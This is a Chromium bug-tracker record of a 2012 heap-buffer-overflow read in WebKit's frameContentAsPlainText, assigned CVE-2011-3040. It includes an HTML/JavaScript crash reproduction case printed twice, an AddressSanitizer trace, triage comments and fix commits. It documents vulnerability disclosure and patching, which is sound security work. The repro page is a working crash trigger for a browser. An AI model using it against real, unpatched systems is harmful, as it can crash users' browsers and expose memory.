New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Email to this user bounced
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-buffer-overflow in void WTF::Vector<unsigned short, 0ul>::append<unsigned short>

Reported by miau...@gmail.com, Feb 13 2012

Issue description



VULNERABILITY DETAILS
 heap-buffer-overflow in WebKit::frameContentAsPlainText

VERSION
Chrome Version: stable beta dev

Chromium	19.0.1040.0 (Developer Build 121661)
OS	Linux
WebKit	535.21 (@107445)

Operating System: 64bit linux

REPRODUCTION CASE

number of A's affects size of buffer.

<html>
  <head>
    <style>
      #el0 {
        visibility: collapse;
      }
      #el1::first-letter {
        height: 1;
      }
    </style>
    <script>
      function crash(){
        el0=document.createElement('div')
        document.body.appendChild(el0)
        el0.setAttribute('id','el0')
        el1=document.createElement('div')
        document.body.appendChild(el1)
        el1.setAttribute('id','el1')
        el0.appendChild(document.createTextNode(unescape(Array(40).join('A')+'%ufed5')))
        el1.appendChild(document.createTextNode(unescape('A%u074b')))
      } 
      window.onload=crash
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==7426== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fffed21f5ee at pc 0x5555593635c1 bp 0x7fffffffaa00 sp 0x7fffffffa9f8
READ of size 2 at 0x7fffed21f5ee thread T0
    #0 0x5555593635c1 in void WTF::Vector<unsigned short, 0ul>::append<unsigned short>(unsigned short const*, unsigned long) ???:0
    #1 0x55555935c89a in WebKit::frameContentAsPlainText(unsigned long, WebCore::Frame*, WTF::Vector<unsigned short, 0ul>*) third_party/WebKit/Source/WebKit/chromium/src/WebFrameImpl.cpp:0
    #2 0x55555935c1a7 in WebKit::WebFrameImpl::contentAsText(unsigned long) const ???:0

0x7fffed21f5ee is located 76 bytes to the right of 34-byte region [0x7fffed21f580,0x7fffed21f5a2)
allocated by thread T0 here:
    #0 0x55555da8f3e2 in malloc ??:0
    #1 0x5555594780bb in WTF::fastMalloc(unsigned long) ???:0
    #2 0x55555949932f in WTF::StringImpl::create(unsigned short const*, unsigned int) ???:0



 
buffer-overflow2.txt
4.9 KB View Download
stable-buffer-overflow2.txt
5.1 KB View Download
buffer-overflow2.html
664 bytes View Download
beta-buffer-overflow2.txt
5.0 KB View Download

Comment 1 by tsepez@chromium.org, Feb 13 2012

Labels: -Area-Undefined Area-WebKit SecSeverity-Medium SecImpacts-Stable SecImpacts-Beta
Thanks.  Repros on M19, I didn't try M18/M17, but I believe the beta/stable attachments. 
Labels: -Pri-0 Pri-1 Mstone-17 Stability-AddressSanitizer
Status: Available
Summary: Heap-buffer-overflow in WebKit::frameContentAsPlainText
Labels: OS-All
Summary: Heap-buffer-overflow in void WTF::Vector<unsigned short, 0ul>::append<unsigned short>
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=20174092

Uploader: tsepez@chromium.org

Crash Type: Heap-buffer-overflow READ 2
Crash Address: 0x7fd620b485ee
Crash State:
  - crash stack -
  void WTF::Vector<unsigned short, 0ul>::append<unsigned short>
  WebKit::frameContentAsPlainText
  WebKit::WebFrameImpl::contentAsText
  

Minimized Testcase (0.58 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv95Ob33usD3z8x7Dj597F0LuPjC7D8ZoF9pH0ClUWzJKY84H9gCMYqHku3kOM6xtnPtx6RI-rtShUEo74IP1w7JnS56WIfbIBZ5NSMSvtSFG2G_cxABhObnFParJLemvi81H7OzY7zH0egAymbuQDQXAi6LrSA
<style>
      #el0 {
        visibility: collapse;
      }
      #el1::first-letter {
        height: 1;
</style>
    <script>
      function crash(){
        el0=document.createElement('div')
        document.body.appendChild(el0)
        el0.setAttribute('id','el0')
        el1=document.createElement('div')
        document.body.appendChild(el1)
        el1.setAttribute('id','el1')
        el0.appendChild(document.createTextNode(unescape(Array(40).join('A')+'%ufed5')))
        el1.appendChild(document.createTextNode(unescape('A%u074b')))
      } 
      window.onload=crash
    </script>
Cc: rniwa@chromium.org
Cc: adamk@chromium.org

Comment 8 by rniwa@chromium.org, Feb 16 2012

Owner: rniwa@chromium.org
Status: Started

Comment 9 by rniwa@chromium.org, Feb 17 2012

I have posted a patch upstream.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
Committed r108417: <http://trac.webkit.org/changeset/108417>

Thanks, you're on fire @rniwa
Labels: -Merge-Approved Merge-Merged reward-topanel
M17: http://trac.webkit.org/changeset/109384
M18: http://trac.webkit.org/changeset/109385

Comment 12 Deleted

Labels: -reward-1000 reward-500
Oops. Mistake in previous comment.
This is an OOB read so $500

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3040
Labels: -reward-unpaid

Comment 16 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 17 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-Medium -SecImpacts-Stable -SecImpacts-Beta -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-Medium Performance-Memory-AddressSanitizer Type-Bug-Security M-17
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 24 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 25 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 26 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 27 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 28 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 29 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment